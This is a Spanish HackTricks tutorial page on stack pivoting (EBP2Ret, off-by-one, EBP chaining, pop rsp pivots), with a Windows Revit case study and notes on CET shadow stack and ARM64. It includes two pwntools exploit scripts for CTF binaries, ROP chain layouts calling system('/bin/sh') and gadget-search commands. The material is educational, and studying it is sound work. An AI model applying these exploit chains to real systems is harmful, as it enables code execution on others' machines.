Stack Pivoting - EBP2Ret - EBP chaining
Reading time: 14 minutes
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.
Información básica
Esta técnica explota la capacidad de manipular el puntero base (EBP/RBP) para encadenar la ejecución de múltiples funciones mediante el uso cuidadoso del puntero de marco y la secuencia de instrucciones leave; ret
.
Como recordatorio, en x86/x86-64 leave
equivale a:
mov rsp, rbp ; mov esp, ebp on x86
pop rbp ; pop ebp on x86
ret
Y como el EBP/RBP guardado está en la stack antes del EIP/RIP guardado, es posible controlarlo controlando la stack.
Notas
- En 64-bit, reemplaza EBP→RBP y ESP→RSP. La semántica es la misma.
- Algunos compiladores omiten el frame pointer (ver “EBP might not be used”). En ese caso,
leave
podría no aparecer y esta técnica no funcionará.
EBP2Ret
Esta técnica es especialmente útil cuando puedes alterar el EBP/RBP guardado pero no tienes una forma directa de cambiar EIP/RIP. Aprovecha el comportamiento del epílogo de la función.
Si, durante la ejecución de fvuln
, consigues inyectar un EBP falso en la stack que apunte a un área en memoria donde esté la dirección de tu shellcode/cadena ROP (más 8 bytes en amd64 / 4 bytes en x86 para compensar el pop
), puedes controlar indirectamente RIP. Al retornar la función, leave
establece RSP en la ubicación forjada y el posterior pop rbp
decrementa RSP, haciendo efectivamente que apunte a una dirección almacenada por el atacante allí. Luego ret
usará esa dirección.
Fíjate que necesitas conocer 2 direcciones: la dirección a la que ESP/RSP va a apuntar, y el valor almacenado en esa dirección que ret
consumirá.
Construcción del Exploit
Primero necesitas conocer una dirección donde puedas escribir datos/direcciones arbitrarias. RSP apuntará aquí y consumirá el primer ret
.
Luego, debes elegir la dirección usada por ret
que transferirá la ejecución. Podrías usar:
- A valid ONE_GADGET address.
- The address of
system()
followed by the appropriate return and arguments (on x86:ret
target =&system
, then 4 junk bytes, then&"/bin/sh"
). - The address of a
jmp esp;
gadget (ret2esp) followed by inline shellcode. - A ROP chain staged in writable memory.
Recuerda que antes de cualquiera de estas direcciones en el área controlada debe haber espacio para el pop ebp/rbp
de leave
(8B en amd64, 4B en x86). Puedes aprovechar esos bytes para colocar un segundo EBP falso y mantener el control después de que la primera llamada retorne.
Off-By-One Exploit
Hay una variante usada cuando sólo puedes modificar el byte menos significativo del EBP/RBP guardado. En tal caso, la ubicación de memoria que almacena la dirección a la que saltar con ret
debe compartir los tres/cinco primeros bytes con el EBP/RBP original para que una sobrescritura de 1 byte pueda redirigirla. Usualmente el byte bajo (offset 0x00) se incrementa para saltar lo más lejos posible dentro de una página/región alineada cercana.
También es común usar un RET sled en la stack y colocar la verdadera cadena ROP al final para aumentar la probabilidad de que el nuevo RSP apunte dentro del sled y se ejecute la cadena ROP final.
EBP Chaining
Colocando una dirección controlada en la ranura de EBP
guardado de la stack y un gadget leave; ret
en EIP/RIP
, es posible mover ESP/RSP
a una dirección controlada por el atacante.
Ahora RSP
está controlado y la siguiente instrucción es ret
. Coloca en la memoria controlada algo como:
&(next fake EBP)
-> Cargado porpop ebp/rbp
deleave
.&system()
-> Llamado porret
.&(leave;ret)
-> Después de quesystem
termine, mueve RSP al siguiente EBP falso y continúa.&("/bin/sh")
-> Argumento parasystem
.
De este modo es posible encadenar varios EBP falsos para controlar el flujo del programa.
Esto es como un ret2lib, pero más complejo y sólo útil en casos límites.
Además, aquí tienes un example of a challenge que usa esta técnica con un stack leak para llamar a una función ganadora. Este es el payload final de la página:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16)
log.success(f'Buffer: {hex(buffer)}')
LEAVE_RET = 0x40117c
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229
payload = flat(
0x0, # rbp (could be the address of another fake RBP)
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0,
elf.sym['winner']
)
payload = payload.ljust(96, b'A') # pad to 96 (reach saved RBP)
payload += flat(
buffer, # Load leaked address in RBP
LEAVE_RET # Use leave to move RSP to the user ROP chain and ret to execute it
)
pause()
p.sendline(payload)
print(p.recvline())
Consejo de alineación amd64: System V ABI requiere una alineación de stack de 16 bytes en los call sites. Si tu chain llama a funciones como
system
, añade un alignment gadget (p. ej.,ret
, osub rsp, 8 ; ret
) antes de la llamada para mantener la alineación y evitar crashes pormovaps
.
EBP might not be used
Como explicado en esta post, si un binario está compilado con algunas optimizaciones o con frame-pointer omission, el EBP/RBP never controls ESP/RSP. Por lo tanto, cualquier exploit que funcione controlando EBP/RBP fallará porque el prologue/epilogue no restaura desde el frame pointer.
- Not optimized / frame pointer used:
push %ebp # save ebp
mov %esp,%ebp # set new ebp
sub $0x100,%esp # increase stack size
.
.
.
leave # restore ebp (leave == mov %ebp, %esp; pop %ebp)
ret # return
- Optimizado / frame pointer omitido:
push %ebx # save callee-saved register
sub $0x100,%esp # increase stack size
.
.
.
add $0x10c,%esp # reduce stack size
pop %ebx # restore
ret # return
En amd64 a menudo verás pop rbp ; ret
en lugar de leave ; ret
, pero si el frame pointer se omite por completo entonces no hay un epílogo basado en rbp
por el que pivotar.
Otras formas de controlar RSP
pop rsp
gadget
In this page puedes encontrar un ejemplo que utiliza esta técnica. Para ese reto era necesario llamar a una función con 2 argumentos específicos, y había un pop rsp
gadget y existe un leak from the stack:
# Code from https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting/exploitation/pop-rsp
# This version has added comments
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
p.recvuntil('to: ')
buffer = int(p.recvline(), 16) # Leak from the stack indicating where is the input of the user
log.success(f'Buffer: {hex(buffer)}')
POP_CHAIN = 0x401225 # pop all of: RSP, R13, R14, R15, ret
POP_RDI = 0x40122b
POP_RSI_R15 = 0x401229 # pop RSI and R15
# The payload starts
payload = flat(
0, # r13
0, # r14
0, # r15
POP_RDI,
0xdeadbeef,
POP_RSI_R15,
0xdeadc0de,
0x0, # r15
elf.sym['winner']
)
payload = payload.ljust(104, b'A') # pad to 104
# Start popping RSP, this moves the stack to the leaked address and
# continues the ROP chain in the prepared payload
payload += flat(
POP_CHAIN,
buffer # rsp
)
pause()
p.sendline(payload)
print(p.recvline())
xchg , rsp gadget
pop <reg> <=== return pointer
<reg value>
xchg <reg>, rsp
jmp esp
Consulta la técnica ret2esp aquí:
Encontrar pivot gadgets rápidamente
Usa tu gadget finder favorito para buscar primitivas clásicas de pivot:
leave ; ret
en funciones o en bibliotecaspop rsp
/xchg rax, rsp ; ret
add rsp, <imm> ; ret
(oadd esp, <imm> ; ret
en x86)
Ejemplos:
# Ropper
ropper --file ./vuln --search "leave; ret"
ropper --file ./vuln --search "pop rsp"
ropper --file ./vuln --search "xchg rax, rsp ; ret"
# ROPgadget
ROPgadget --binary ./vuln --only "leave|xchg|pop rsp|add rsp"
Classic pivot staging pattern
Una estrategia de pivot robusta usada en muchos CTFs/exploits:
- Usa un overflow inicial pequeño para llamar a
read
/recv
hacia una región grande escribible (p.ej.,.bss
, heap, o memoria mapeada RW) y colocar allí una full ROP chain. - Retorna a un pivot gadget (
leave ; ret
,pop rsp
,xchg rax, rsp ; ret
) para mover RSP a esa región. - Continúa con la staged chain (p.ej., leak libc, llamar a
mprotect
, luegoread
shellcode, y saltar a él).
Windows: Destructor-loop weird-machine pivots (Revit RFA case study)
Los parsers del lado cliente a veces implementan destructor loops que llaman indirectamente a un function pointer derivado de campos de objetos controlados por el atacante. Si cada iteración ofrece exactamente una llamada indirecta (una “one-gadget” machine), puedes convertir esto en un stack pivot fiable y en una ROP entry.
Observado en Autodesk Revit RFA deserialization (CVE-2025-5037):
- Objetos crafted del tipo
AString
colocan un puntero hacia bytes controlados por el atacante en el offset 0. - El destructor loop ejecuta efectivamente un gadget por objeto:
rcx = [rbx] ; object pointer (AString*)
rax = [rcx] ; pointer to controlled buffer
call qword ptr [rax] ; execute [rax] once per object
Dos pivots prácticos:
- Windows 10 (32-bit heap addrs): misaligned “monster gadget” que contiene
8B E0
→mov esp, eax
, y eventualmenteret
, para pivotar desde el call primitive hacia una heap-based ROP chain. - Windows 11 (full 64-bit addrs): usar dos objetos para impulsar un constrained weird-machine pivot:
- Gadget 1:
push rax ; pop rbp ; ret
(mueve el rax original a rbp) - Gadget 2:
leave ; ... ; ret
(se convierte enmov rsp, rbp ; pop rbp ; ret
), pivotando al buffer del primer objeto, donde sigue una ROP chain convencional.
- Gadget 1:
Consejos para Windows x64 después del pivot:
- Respeta el 0x20-byte shadow space y mantén la alineación a 16 bytes antes de los sitios de
call
. A menudo es conveniente colocar literales por encima de la dirección de retorno y usar un gadget comolea rcx, [rsp+0x20] ; call rax
seguido depop rax ; ret
para pasar direcciones de stack sin corromper el flujo de control. - Non-ASLR helper modules (si están presentes) proporcionan pools de gadgets estables e imports como
LoadLibraryW
/GetProcAddress
para resolver dinámicamente objetivos comoucrtbase!system
. - Crear gadgets faltantes vía un writable thunk: si una secuencia prometedora termina en un
call
a través de un puntero de función writable (p. ej., DLL import thunk o puntero de función en .data), sobrescribe ese puntero con un single-step benigno comopop rax ; ret
. La secuencia entonces se comporta como si terminara conret
(p. ej.,mov rdx, rsi ; mov rcx, rdi ; ret
), lo cual es invalorable para cargar los registros de argumentos en Windows x64 sin estropear otros registros.
Para la construcción completa de la cadena y ejemplos de gadgets, ver la referencia abajo.
Modern mitigations that break stack pivoting (CET/Shadow Stack)
Modern x86 CPUs and OSes increasingly deploy CET Shadow Stack (SHSTK). Con SHSTK habilitado, ret
compara la dirección de retorno en la pila normal con una shadow stack protegida por hardware; cualquier discrepancia genera una Control-Protection fault y termina el proceso. Por lo tanto, técnicas como EBP2Ret/leave;ret-based pivots fallarán tan pronto se ejecute el primer ret
desde una pila pivotada.
- For background and deeper details see:
- Quick checks on Linux:
# 1) Is the binary/toolchain CET-marked?
readelf -n ./binary | grep -E 'x86.*(SHSTK|IBT)'
# 2) Is the CPU/kernel capable?
grep -E 'user_shstk|ibt' /proc/cpuinfo
# 3) Is SHSTK active for this process?
grep -E 'x86_Thread_features' /proc/$$/status # expect: shstk (and possibly wrss)
# 4) In pwndbg (gdb), checksec shows SHSTK/IBT flags
(gdb) checksec
-
Notas para labs/CTF:
-
Algunas distros modernas habilitan SHSTK para binarios compatibles con CET cuando el hardware y glibc lo soportan. Para pruebas controladas en VMs, SHSTK puede deshabilitarse a nivel de sistema mediante el parámetro de arranque del kernel
nousershstk
, o habilitarse selectivamente vía tunables de glibc durante el inicio (ver referencias). No deshabilites mitigaciones en objetivos de producción. -
Técnicas basadas en JOP/COOP o SROP podrían seguir siendo viables en algunos objetivos, pero SHSTK rompe específicamente los pivotes basados en
ret
. -
Nota sobre Windows: Windows 10+ expone user-mode y Windows 11 añade kernel-mode “Hardware-enforced Stack Protection” construido sobre shadow stacks. Los procesos compatibles con CET previenen stack pivoting/ROP en
ret
; los desarrolladores optan por activarlo mediante CETCOMPAT y políticas relacionadas (ver referencia).
ARM64
En ARM64, el prólogo y los epílogos de las funciones no almacenan ni recuperan el registro SP en la pila. Además, la instrucción RET
no retorna a la dirección apuntada por SP, sino a la dirección dentro de x30
.
Por lo tanto, por defecto, simplemente abusando del epílogo no podrás controlar el registro SP sobrescribiendo algunos datos dentro de la stack. Y aun si consigues controlar el SP, todavía necesitarías una manera de controlar el registro x30
.
- prólogo
sub sp, sp, 16
stp x29, x30, [sp] // [sp] = x29; [sp + 8] = x30
mov x29, sp // FP points to frame record
- epílogo
ldp x29, x30, [sp] // x29 = [sp]; x30 = [sp + 8]
add sp, sp, 16
ret
caution
La forma de realizar algo similar a stack pivoting en ARM64 sería poder controlar el SP
(controlando algún registro cuyo valor se pasa a SP
o porque por alguna razón SP
toma su dirección desde la pila y tenemos un overflow) y luego abusar del epílogo para cargar el registro x30
desde un SP
controlado y hacer RET
hacia él.
También en la siguiente página puedes ver el equivalente de Ret2esp en ARM64:
Referencias
- https://bananamafia.dev/post/binary-rop-stackpivot/
- https://ir0nstone.gitbook.io/notes/types/stack/stack-pivoting
- https://guyinatuxedo.github.io/17-stack_pivot/dcquals19_speedrun4/index.html
- 64 bits, off by one exploitation with a rop chain starting with a ret sled
- https://guyinatuxedo.github.io/17-stack_pivot/insomnihack18_onewrite/index.html
- 64 bit, no relro, canary, nx and pie. The program grants a leak for stack or pie and a WWW of a qword. First get the stack leak and use the WWW to go back and get the pie leak. Then use the WWW to create an eternal loop abusing
.fini_array
entries + calling__libc_csu_fini
(more info here). Abusing this "eternal" write, it's written a ROP chain in the .bss and end up calling it pivoting with RBP. - Linux kernel documentation: Control-flow Enforcement Technology (CET) Shadow Stack — details on SHSTK,
nousershstk
,/proc/$PID/status
flags, and enabling viaarch_prctl
. https://www.kernel.org/doc/html/next/x86/shstk.html - Microsoft Learn: Kernel Mode Hardware-enforced Stack Protection (CET shadow stacks on Windows). https://learn.microsoft.com/en-us/windows-server/security/kernel-mode-hardware-stack-protection
- Crafting a Full Exploit RCE from a Crash in Autodesk Revit RFA File Parsing (ZDI blog)
tip
Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprende y practica Hacking en Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Apoya a HackTricks
- Revisa los planes de suscripción!
- Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
- Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.